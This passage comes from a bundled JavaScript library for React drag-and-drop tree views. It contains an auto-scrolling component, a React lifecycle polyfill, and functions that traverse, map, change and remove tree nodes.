createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.createHorizontalStrength = createHorizontalStrength; exports.createVerticalStrength = createVerticalStrength; exports.createScrollingComponent = createScrollingComponent; exports.default = createScrollingComponentWithConsumer; exports.defaultVerticalStrength = exports.defaultHorizontalStrength = void 0; var _react = _interopRequireWildcard(React); var _propTypes = _interopRequireDefault(PropTypes); var _lodash = _interopRequireDefault(lodash_throttle); var _raf = _interopRequireDefault(raf_1); var _reactDisplayName = _interopRequireDefault(getDisplayName_1); var _hoistNonReactStatics = _interopRequireDefault(hoistNonReactStatics_cjs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var DEFAULT_BUFFER = 150; function createHorizontalStrength(_buffer) { return function defaultHorizontalStrength(_ref, point) { var x = _ref.x, w = _ref.w, y = _ref.y, h = _ref.h; var buffer = Math.min(w / 2, _buffer); var inRange = point.x >= x && point.x <= x + w; var inBox = inRange && point.y >= y && point.y <= y + h; if (inBox) { if (point.x < x + buffer) { return (point.x - x - buffer) / buffer; } if (point.x > x + w - buffer) { return -(x + w - point.x - buffer) / buffer; } } return 0; }; } function createVerticalStrength(_buffer) { return function defaultVerticalStrength(_ref2, point) { var y = _ref2.y, h = _ref2.h, x = _ref2.x, w = _ref2.w; var buffer = Math.min(h / 2, _buffer); var inRange = point.y >= y && point.y <= y + h; var inBox = inRange && point.x >= x && point.x <= x + w; if (inBox) { if (point.y < y + buffer) { return (point.y - y - buffer) / buffer; } if (point.y > y + h - buffer) { return -(y + h - point.y - buffer) / buffer; } } return 0; }; } var defaultHorizontalStrength = createHorizontalStrength(DEFAULT_BUFFER); exports.defaultHorizontalStrength = defaultHorizontalStrength; var defaultVerticalStrength = createVerticalStrength(DEFAULT_BUFFER); exports.defaultVerticalStrength = defaultVerticalStrength; function createScrollingComponent(WrappedComponent) { var ScrollingComponent = /*#__PURE__*/ function (_Component) { _inherits(ScrollingComponent, _Component); // Update scaleX and scaleY every 100ms or so // and start scrolling if necessary function ScrollingComponent(props, ctx) { var _this; _classCallCheck(this, ScrollingComponent); _this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollingComponent).call(this, props, ctx)); _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "updateScrolling", (0, _lodash.default)(function (evt) { var _this$container$getBo = _this.container.getBoundingClientRect(), x = _this$container$getBo.left, y = _this$container$getBo.top, w = _this$container$getBo.width, h = _this$container$getBo.height; var box = { x: x, y: y, w: w, h: h }; var coords = (0, util.getCoords)(evt); // calculate strength var _this$props = _this.props, horizontalStrength = _this$props.horizontalStrength, verticalStrength = _this$props.verticalStrength; _this.scaleX = horizontalStrength(box, coords); _this.scaleY = verticalStrength(box, coords); // start scrolling if we need to if (!_this.frame && (_this.scaleX || _this.scaleY)) { _this.startScrolling(); } }, 100, { trailing: false })); _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "handleEvent", function (evt) { if (_this.dragging && !_this.attached) { _this.attach(); _this.updateScrolling(evt); } }); _this.wrappedInstance = _react.default.createRef(); _this.scaleX = 0; _this.scaleY = 0; _this.frame = null; _this.attached = false; _this.dragging = false; return _this; } _createClass(ScrollingComponent, [{ key: "componentDidMount", value: function componentDidMount() { var _this2 = this; this.container = this.wrappedInstance.current; if (this.container && typeof this.container.addEventListener === 'function') { this.container.addEventListener('dragover', this.handleEvent); } // touchmove events don't seem to work across siblings, so we unfortunately // have to attach the listeners to the body window.document.body.addEventListener('touchmove', this.handleEvent); var dragDropManager = this.props.dragDropManager; this.clearMonitorSubscription = dragDropManager.getMonitor().subscribeToStateChange(function () { return _this2.handleMonitorChange(); }); } }, { key: "componentWillUnmount", value: function componentWillUnmount() { if (this.container && typeof this.container.removeEventListener === 'function') { this.container.removeEventListener('dragover', this.handleEvent); } window.document.body.removeEventListener('touchmove', this.handleEvent); this.clearMonitorSubscription(); this.stopScrolling(); } }, { key: "handleMonitorChange", value: function handleMonitorChange() { var dragDropManager = this.props.dragDropManager; var isDragging = dragDropManager.getMonitor().isDragging(); if (!this.dragging && isDragging) { this.dragging = true; } else if (this.dragging && !isDragging) { this.dragging = false; this.stopScrolling(); } } }, { key: "attach", value: function attach() { this.attached = true; window.document.body.addEventListener('dragover', this.updateScrolling); window.document.body.addEventListener('touchmove', this.updateScrolling); } }, { key: "detach", value: function detach() { this.attached = false; window.document.body.removeEventListener('dragover', this.updateScrolling); window.document.body.removeEventListener('touchmove', this.updateScrolling); } }, { key: "startScrolling", value: function startScrolling() { var _this3 = this; var i = 0; var tick = function tick() { var scaleX = _this3.scaleX, scaleY = _this3.scaleY, container = _this3.container; var _this3$props = _this3.props, strengthMultiplier = _this3$props.strengthMultiplier, onScrollChange = _this3$props.onScrollChange; // stop scrolling if there's nothing to do if (strengthMultiplier === 0 || scaleX + scaleY === 0) { _this3.stopScrolling(); return; } // there's a bug in safari where it seems like we can't get // mousemove events from a container that also emits a scroll // event that same frame. So we double the strengthMultiplier and only adjust // the scroll position at 30fps i += 1; if (i % 2) { var scrollLeft = container.scrollLeft, scrollTop = container.scrollTop, scrollWidth = container.scrollWidth, scrollHeight = container.scrollHeight, clientWidth = container.clientWidth, clientHeight = container.clientHeight; var newLeft = scaleX ? container.scrollLeft = (0, util.intBetween)(0, scrollWidth - clientWidth, scrollLeft + scaleX * strengthMultiplier) : scrollLeft; var newTop = scaleY ? container.scrollTop = (0, util.intBetween)(0, scrollHeight - clientHeight, scrollTop + scaleY * strengthMultiplier) : scrollTop; onScrollChange(newLeft, newTop); } _this3.frame = (0, _raf.default)(tick); }; tick(); } }, { key: "stopScrolling", value: function stopScrolling() { this.detach(); this.scaleX = 0; this.scaleY = 0; if (this.frame) { _raf.default.cancel(this.frame); this.frame = null; } } }, { key: "render", value: function render() { var _this$props2 = this.props, strengthMultiplier = _this$props2.strengthMultiplier, verticalStrength = _this$props2.verticalStrength, horizontalStrength = _this$props2.horizontalStrength, onScrollChange = _this$props2.onScrollChange, props = _objectWithoutProperties(_this$props2, ["strengthMultiplier", "verticalStrength", "horizontalStrength", "onScrollChange"]); return _react.default.createElement(WrappedComponent, _extends({ ref: this.wrappedInstance }, props)); } }]); return ScrollingComponent; }(_react.Component); _defineProperty(ScrollingComponent, "displayName", "Scrolling(".concat((0, _reactDisplayName.default)(WrappedComponent), ")")); _defineProperty(ScrollingComponent, "propTypes", { // eslint-disable-next-line react/forbid-prop-types dragDropManager: _propTypes.default.object.isRequired, onScrollChange: _propTypes.default.func, verticalStrength: _propTypes.default.func, horizontalStrength: _propTypes.default.func, strengthMultiplier: _propTypes.default.number }); _defineProperty(ScrollingComponent, "defaultProps", { onScrollChange: util.noop, verticalStrength: defaultVerticalStrength, horizontalStrength: defaultHorizontalStrength, strengthMultiplier: 30 }); return (0, _hoistNonReactStatics.default)(ScrollingComponent, WrappedComponent); } function createScrollingComponentWithConsumer(WrappedComponent) { var ScrollingComponent = createScrollingComponent(WrappedComponent); return function (props) { return _react.default.createElement(reactDnd.DragDropContextConsumer, null, function (_ref3) { var dragDropManager = _ref3.dragDropManager; return dragDropManager === undefined ? null : _react.default.createElement(ScrollingComponent, _extends({}, props, { dragDropManager: dragDropManager })); }); }; } }); var withScrolling = unwrapExports(lib); var lib_1 = lib.createHorizontalStrength; var lib_2 = lib.createVerticalStrength; var lib_3 = lib.createScrollingComponent; var lib_4 = lib.defaultVerticalStrength; var lib_5 = lib.defaultHorizontalStrength; /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ function componentWillMount() { // Call this.constructor.gDSFP to support sub-classes. var state = this.constructor.getDerivedStateFromProps(this.props, this.state); if (state !== null && state !== undefined) { this.setState(state); } } function componentWillReceiveProps(nextProps) { // Call this.constructor.gDSFP to support sub-classes. // Use the setState() updater to ensure state isn't stale in certain edge cases. function updater(prevState) { var state = this.constructor.getDerivedStateFromProps(nextProps, prevState); return state !== null && state !== undefined ? state : null; } // Binding "this" is important for shallow renderer support. this.setState(updater.bind(this)); } function componentWillUpdate(nextProps, nextState) { try { var prevProps = this.props; var prevState = this.state; this.props = nextProps; this.state = nextState; this.__reactInternalSnapshotFlag = true; this.__reactInternalSnapshot = this.getSnapshotBeforeUpdate( prevProps, prevState ); } finally { this.props = prevProps; this.state = prevState; } } // React may warn about cWM/cWRP/cWU methods being deprecated. // Add a flag to suppress these warnings for this special case. componentWillMount.__suppressDeprecationWarning = true; componentWillReceiveProps.__suppressDeprecationWarning = true; componentWillUpdate.__suppressDeprecationWarning = true; function polyfill$1(Component) { var prototype = Component.prototype; if (!prototype || !prototype.isReactComponent) { throw new Error('Can only polyfill class components'); } if ( typeof Component.getDerivedStateFromProps !== 'function' && typeof prototype.getSnapshotBeforeUpdate !== 'function' ) { return Component; } // If new component APIs are defined, "unsafe" lifecycles won't be called. // Error if any of these lifecycles are present, // Because they would work differently between older and newer (16.3+) versions of React. var foundWillMountName = null; var foundWillReceivePropsName = null; var foundWillUpdateName = null; if (typeof prototype.componentWillMount === 'function') { foundWillMountName = 'componentWillMount'; } else if (typeof prototype.UNSAFE_componentWillMount === 'function') { foundWillMountName = 'UNSAFE_componentWillMount'; } if (typeof prototype.componentWillReceiveProps === 'function') { foundWillReceivePropsName = 'componentWillReceiveProps'; } else if (typeof prototype.UNSAFE_componentWillReceiveProps === 'function') { foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps'; } if (typeof prototype.componentWillUpdate === 'function') { foundWillUpdateName = 'componentWillUpdate'; } else if (typeof prototype.UNSAFE_componentWillUpdate === 'function') { foundWillUpdateName = 'UNSAFE_componentWillUpdate'; } if ( foundWillMountName !== null || foundWillReceivePropsName !== null || foundWillUpdateName !== null ) { var componentName = Component.displayName || Component.name; var newApiName = typeof Component.getDerivedStateFromProps === 'function' ? 'getDerivedStateFromProps()' : 'getSnapshotBeforeUpdate()'; throw Error( 'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' + componentName + ' uses ' + newApiName + ' but also contains the following legacy lifecycles:' + (foundWillMountName !== null ? '\n ' + foundWillMountName : '') + (foundWillReceivePropsName !== null ? '\n ' + foundWillReceivePropsName : '') + (foundWillUpdateName !== null ? '\n ' + foundWillUpdateName : '') + '\n\nThe above lifecycles should be removed. Learn more about this warning here:\n' + 'https://fb.me/react-async-component-lifecycle-hooks' ); } // React <= 16.2 does not support static getDerivedStateFromProps. // As a workaround, use cWM and cWRP to invoke the new static lifecycle. // Newer versions of React will ignore these lifecycles if gDSFP exists. if (typeof Component.getDerivedStateFromProps === 'function') { prototype.componentWillMount = componentWillMount; prototype.componentWillReceiveProps = componentWillReceiveProps; } // React <= 16.2 does not support getSnapshotBeforeUpdate. // As a workaround, use cWU to invoke the new lifecycle. // Newer versions of React will ignore that lifecycle if gSBU exists. if (typeof prototype.getSnapshotBeforeUpdate === 'function') { if (typeof prototype.componentDidUpdate !== 'function') { throw new Error( 'Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype' ); } prototype.componentWillUpdate = componentWillUpdate; var componentDidUpdate = prototype.componentDidUpdate; prototype.componentDidUpdate = function componentDidUpdatePolyfill( prevProps, prevState, maybeSnapshot ) { // 16.3+ will not execute our will-update method; // It will pass a snapshot value to did-update though. // Older versions will require our polyfilled will-update value. // We need to handle both cases, but can't just check for the presence of "maybeSnapshot", // Because for <= 15.x versions this might be a "prevContext" object. // We also can't just check "__reactInternalSnapshot", // Because get-snapshot might return a falsy value. // So check for the explicit __reactInternalSnapshotFlag flag to determine behavior. var snapshot = this.__reactInternalSnapshotFlag ? this.__reactInternalSnapshot : maybeSnapshot; componentDidUpdate.call(this, prevProps, prevState, snapshot); }; } return Component; } /** * Performs a depth-first traversal over all of the node descendants, * incrementing currentIndex by 1 for each */ function getNodeDataAtTreeIndexOrNextIndex(_ref) { var targetIndex = _ref.targetIndex, node = _ref.node, currentIndex = _ref.currentIndex, getNodeKey = _ref.getNodeKey, _ref$path = _ref.path, path = _ref$path === void 0 ? [] : _ref$path, _ref$lowerSiblingCoun = _ref.lowerSiblingCounts, lowerSiblingCounts = _ref$lowerSiblingCoun === void 0 ? [] : _ref$lowerSiblingCoun, _ref$ignoreCollapsed = _ref.ignoreCollapsed, ignoreCollapsed = _ref$ignoreCollapsed === void 0 ? true : _ref$ignoreCollapsed, _ref$isPseudoRoot = _ref.isPseudoRoot, isPseudoRoot = _ref$isPseudoRoot === void 0 ? false : _ref$isPseudoRoot; // The pseudo-root is not considered in the path var selfPath = !isPseudoRoot ? [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]) : []; // Return target node when found if (currentIndex === targetIndex) { return { node: node, lowerSiblingCounts: lowerSiblingCounts, path: selfPath }; } // Add one and continue for nodes with no children or hidden children if (!node.children || ignoreCollapsed && node.expanded !== true) { return { nextIndex: currentIndex + 1 }; } // Iterate over each child and their descendants and return the // target node if childIndex reaches the targetIndex var childIndex = currentIndex + 1; var childCount = node.children.length; for (var i = 0; i < childCount; i += 1) { var result = getNodeDataAtTreeIndexOrNextIndex({ ignoreCollapsed: ignoreCollapsed, getNodeKey: getNodeKey, targetIndex: targetIndex, node: node.children[i], currentIndex: childIndex, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); if (result.node) { return result; } childIndex = result.nextIndex; } // If the target node is not found, return the farthest traversed index return { nextIndex: childIndex }; } function getDescendantCount(_ref2) { var node = _ref2.node, _ref2$ignoreCollapsed = _ref2.ignoreCollapsed, ignoreCollapsed = _ref2$ignoreCollapsed === void 0 ? true : _ref2$ignoreCollapsed; return getNodeDataAtTreeIndexOrNextIndex({ getNodeKey: function getNodeKey() {}, ignoreCollapsed: ignoreCollapsed, node: node, currentIndex: 0, targetIndex: -1 }).nextIndex - 1; } /** * Walk all descendants of the given node, depth-first * * @param {Object} args - Function parameters * @param {function} args.callback - Function to call on each node * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves * as the parent of all the nodes in the tree * @param {Object} args.node - A tree node * @param {Object=} args.parentNode - The parent node of `node` * @param {number} args.currentIndex - The treeIndex of `node` * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the * previous nodes in this path * * @return {number|false} nextIndex - Index of the next sibling of `node`, * or false if the walk should be terminated */ function walkDescendants(_ref3) { var callback = _ref3.callback, getNodeKey = _ref3.getNodeKey, ignoreCollapsed = _ref3.ignoreCollapsed, _ref3$isPseudoRoot = _ref3.isPseudoRoot, isPseudoRoot = _ref3$isPseudoRoot === void 0 ? false : _ref3$isPseudoRoot, node = _ref3.node, _ref3$parentNode = _ref3.parentNode, parentNode = _ref3$parentNode === void 0 ? null : _ref3$parentNode, currentIndex = _ref3.currentIndex, _ref3$path = _ref3.path, path = _ref3$path === void 0 ? [] : _ref3$path, _ref3$lowerSiblingCou = _ref3.lowerSiblingCounts, lowerSiblingCounts = _ref3$lowerSiblingCou === void 0 ? [] : _ref3$lowerSiblingCou; // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]); var selfInfo = isPseudoRoot ? null : { node: node, parentNode: parentNode, path: selfPath, lowerSiblingCounts: lowerSiblingCounts, treeIndex: currentIndex }; if (!isPseudoRoot) { var callbackResult = callback(selfInfo); // Cut walk short if the callback returned false if (callbackResult === false) { return false; } } // Return self on nodes with no children or hidden children if (!node.children || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return currentIndex; } // Get all descendants var childIndex = currentIndex; var childCount = node.children.length; if (typeof node.children !== 'function') { for (var i = 0; i < childCount; i += 1) { childIndex = walkDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, node: node.children[i], parentNode: isPseudoRoot ? null : node, currentIndex: childIndex + 1, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); // Cut walk short if the callback returned false if (childIndex === false) { return false; } } } return childIndex; } /** * Perform a change on the given node and all its descendants, traversing the tree depth-first * * @param {Object} args - Function parameters * @param {function} args.callback - Function to call on each node * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves * as the parent of all the nodes in the tree * @param {Object} args.node - A tree node * @param {Object=} args.parentNode - The parent node of `node` * @param {number} args.currentIndex - The treeIndex of `node` * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the * previous nodes in this path * * @return {number|false} nextIndex - Index of the next sibling of `node`, * or false if the walk should be terminated */ function mapDescendants(_ref4) { var callback = _ref4.callback, getNodeKey = _ref4.getNodeKey, ignoreCollapsed = _ref4.ignoreCollapsed, _ref4$isPseudoRoot = _ref4.isPseudoRoot, isPseudoRoot = _ref4$isPseudoRoot === void 0 ? false : _ref4$isPseudoRoot, node = _ref4.node, _ref4$parentNode = _ref4.parentNode, parentNode = _ref4$parentNode === void 0 ? null : _ref4$parentNode, currentIndex = _ref4.currentIndex, _ref4$path = _ref4.path, path = _ref4$path === void 0 ? [] : _ref4$path, _ref4$lowerSiblingCou = _ref4.lowerSiblingCounts, lowerSiblingCounts = _ref4$lowerSiblingCou === void 0 ? [] : _ref4$lowerSiblingCou; var nextNode = _objectSpread2({}, node); // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: nextNode, treeIndex: currentIndex })]); var selfInfo = { node: nextNode, parentNode: parentNode, path: selfPath, lowerSiblingCounts: lowerSiblingCounts, treeIndex: currentIndex }; // Return self on nodes with no children or hidden children if (!nextNode.children || nextNode.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { treeIndex: currentIndex, node: callback(selfInfo) }; } // Get all descendants var childIndex = currentIndex; var childCount = nextNode.children.length; if (typeof nextNode.children !== 'function') { nextNode.children = nextNode.children.map(function (child, i) { var mapResult = mapDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, node: child, parentNode: isPseudoRoot ? null : nextNode, currentIndex: childIndex + 1, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); childIndex = mapResult.treeIndex; return mapResult.node; }); } return { node: callback(selfInfo), treeIndex: childIndex }; } /** * Count all the visible (expanded) descendants in the tree data. * * @param {!Object[]} treeData - Tree data * * @return {number} count */ function getVisibleNodeCount(_ref5) { var treeData = _ref5.treeData; var traverse = function traverse(node) { if (!node.children || node.expanded !== true || typeof node.children === 'function') { return 1; } return 1 + node.children.reduce(function (total, currentNode) { return total + traverse(currentNode); }, 0); }; return treeData.reduce(function (total, currentNode) { return total + traverse(currentNode); }, 0); } /** * Get the <targetIndex>th visible node in the tree data. * * @param {!Object[]} treeData - Tree data * @param {!number} targetIndex - The index of the node to search for * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * * @return {{ * node: Object, * path: []string|[]number, * lowerSiblingCounts: []number * }|null} node - The node at targetIndex, or null if not found */ function getVisibleNodeInfoAtIndex(_ref6) { var treeData = _ref6.treeData, targetIndex = _ref6.index, getNodeKey = _ref6.getNodeKey; if (!treeData || treeData.length < 1) { return null; } // Call the tree traversal with a pseudo-root node var result = getNodeDataAtTreeIndexOrNextIndex({ targetIndex: targetIndex, getNodeKey: getNodeKey, node: { children: treeData, expanded: true }, currentIndex: -1, path: [], lowerSiblingCounts: [], isPseudoRoot: true }); if (result.node) { return result; } return null; } /** * Walk descendants depth-first and call a callback on each * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {function} callback - Function to call on each node * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return void */ function walk(_ref7) { var treeData = _ref7.treeData, getNodeKey = _ref7.getNodeKey, callback = _ref7.callback, _ref7$ignoreCollapsed = _ref7.ignoreCollapsed, ignoreCollapsed = _ref7$ignoreCollapsed === void 0 ? true : _ref7$ignoreCollapsed; if (!treeData || treeData.length < 1) { return; } walkDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, isPseudoRoot: true, node: { children: treeData }, currentIndex: -1, path: [], lowerSiblingCounts: [] }); } /** * Perform a depth-first transversal of the descendants and * make a change to every node in the tree * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {function} callback - Function to call on each node * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The changed tree data */ function map(_ref8) { var treeData = _ref8.treeData, getNodeKey = _ref8.getNodeKey, callback = _ref8.callback, _ref8$ignoreCollapsed = _ref8.ignoreCollapsed, ignoreCollapsed = _ref8$ignoreCollapsed === void 0 ? true : _ref8$ignoreCollapsed; if (!treeData || treeData.length < 1) { return []; } return mapDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, isPseudoRoot: true, node: { children: treeData }, currentIndex: -1, path: [], lowerSiblingCounts: [] }).node.children; } /** * Expand or close every node in the tree * * @param {!Object[]} treeData - Tree data * @param {?boolean} expanded - Whether the node is expanded or not * * @return {Object[]} changedTreeData - The changed tree data */ function toggleExpandedForAll(_ref9) { var treeData = _ref9.treeData, _ref9$expanded = _ref9.expanded, expanded = _ref9$expanded === void 0 ? true : _ref9$expanded; return map({ treeData: treeData, callback: function callback(_ref10) { var node = _ref10.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: expanded }); }, getNodeKey: function getNodeKey(_ref11) { var treeIndex = _ref11.treeIndex; return treeIndex; }, ignoreCollapsed: false }); } /** * Replaces node at path with object, or callback-defined object * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be changed * @param {function|any} newNode - Node to replace the node at the path with, or a function producing the new node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The changed tree data */ function changeNodeAtPath(_ref12) { var treeData = _ref12.treeData, path = _ref12.path, newNode = _ref12.newNode, getNodeKey = _ref12.getNodeKey, _ref12$ignoreCollapse = _ref12.ignoreCollapsed, ignoreCollapsed = _ref12$ignoreCollapse === void 0 ? true : _ref12$ignoreCollapse; var RESULT_MISS = 'RESULT_MISS'; var traverse = function traverse(_ref13) { var _ref13$isPseudoRoot = _ref13.isPseudoRoot, isPseudoRoot = _ref13$isPseudoRoot === void 0 ? false : _ref13$isPseudoRoot, node = _ref13.node, currentTreeIndex = _ref13.currentTreeIndex, pathIndex = _ref13.pathIndex; if (!isPseudoRoot && getNodeKey({ node: node, treeIndex: currentTreeIndex }) !== path[pathIndex]) { return RESULT_MISS; } if (pathIndex >= path.length - 1) { // If this is the final location in the path, return its changed form return typeof newNode === 'function' ? newNode({ node: node, treeIndex: currentTreeIndex }) : newNode; } if (!node.children) { // If this node is part of the path, but has no children, return the unchanged node throw new Error('Path referenced children of node with no children.'); } var nextTreeIndex = currentTreeIndex + 1; for (var i = 0; i < node.children.length; i += 1) { var _result = traverse({ node: node.children[i], currentTreeIndex: nextTreeIndex, pathIndex: pathIndex + 1 }); // If the result went down the correct path if (_result !== RESULT_MISS) { if (_result) { // If the result was truthy (in this case, an object), // pass it to the next level of recursion up return _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, i)), [_result], _toConsumableArray(node.children.slice(i + 1))) }); } // If the result was falsy (returned from the newNode function), then // delete the node from the array. return _objectSpread2(_objectSpread2({}, node), {}, { children: [].concat(_toConsumableArray(node.children.slice(0, i)), _toConsumableArray(node.children.slice(i + 1))) }); } nextTreeIndex += 1 + getDescendantCount({ node: node.children[i], ignoreCollapsed: ignoreCollapsed }); } return RESULT_MISS; }; // Use a pseudo-root node in the beginning traversal var result = traverse({ node: { children: treeData }, currentTreeIndex: -1, pathIndex: -1, isPseudoRoot: true }); if (result === RESULT_MISS) { throw new Error('No node found at the given path.'); } return result.children; } /** * Removes the node at the specified path and returns the resulting treeData. * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The tree data with the node removed */ function removeNodeAtPath(_ref14) { var treeData = _ref14.treeData, path = _ref14.path, getNodeKey = _ref14.getNodeKey, _ref14$ignoreCollapse = _ref14.ignoreCollapsed, ignoreCollapsed = _ref14$ignoreCollapse === void 0 ? true : _ref14$ignoreCollapse; return changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: null // Delete the node }); } /** * Removes the node at the specified path and returns the resulting treeData. * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object} result * @return {Object[]} result.treeData - The tree data with the node removed * @return {Object} result.node - The node that was removed * @return {number} result.treeIndex - The previous treeIndex of the removed node */ function removeNode(_ref15) { var treeData = _ref15.treeData, path = _ref15.path, getNodeKey = _ref15.getNodeKey, _ref15$ignoreCollapse = _ref15.ignoreCollapsed, ignoreCollapsed = _ref15$ignoreCollapse === void 0 ? true : _ref15$ignoreCollapse; var removedNode = null; var removedTreeIndex = null; var nextTreeData = changeNodeAtPath({ treeData: treeData, path: path, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, newNode: function newNode(_ref16) { var node = _ref16.node, treeIndex = _ref16.treeIndex; // Store the target node and delete it from the tree removedNode = node; removedTreeIndex = treeIndex; return null; } }); return { treeData: nextTreeData, node: removedNode, treeIndex: removedTreeIndex }; } /** * Gets the node at the specified path * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be deleted * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object|null} nodeInfo - The node info at the given path, or null if 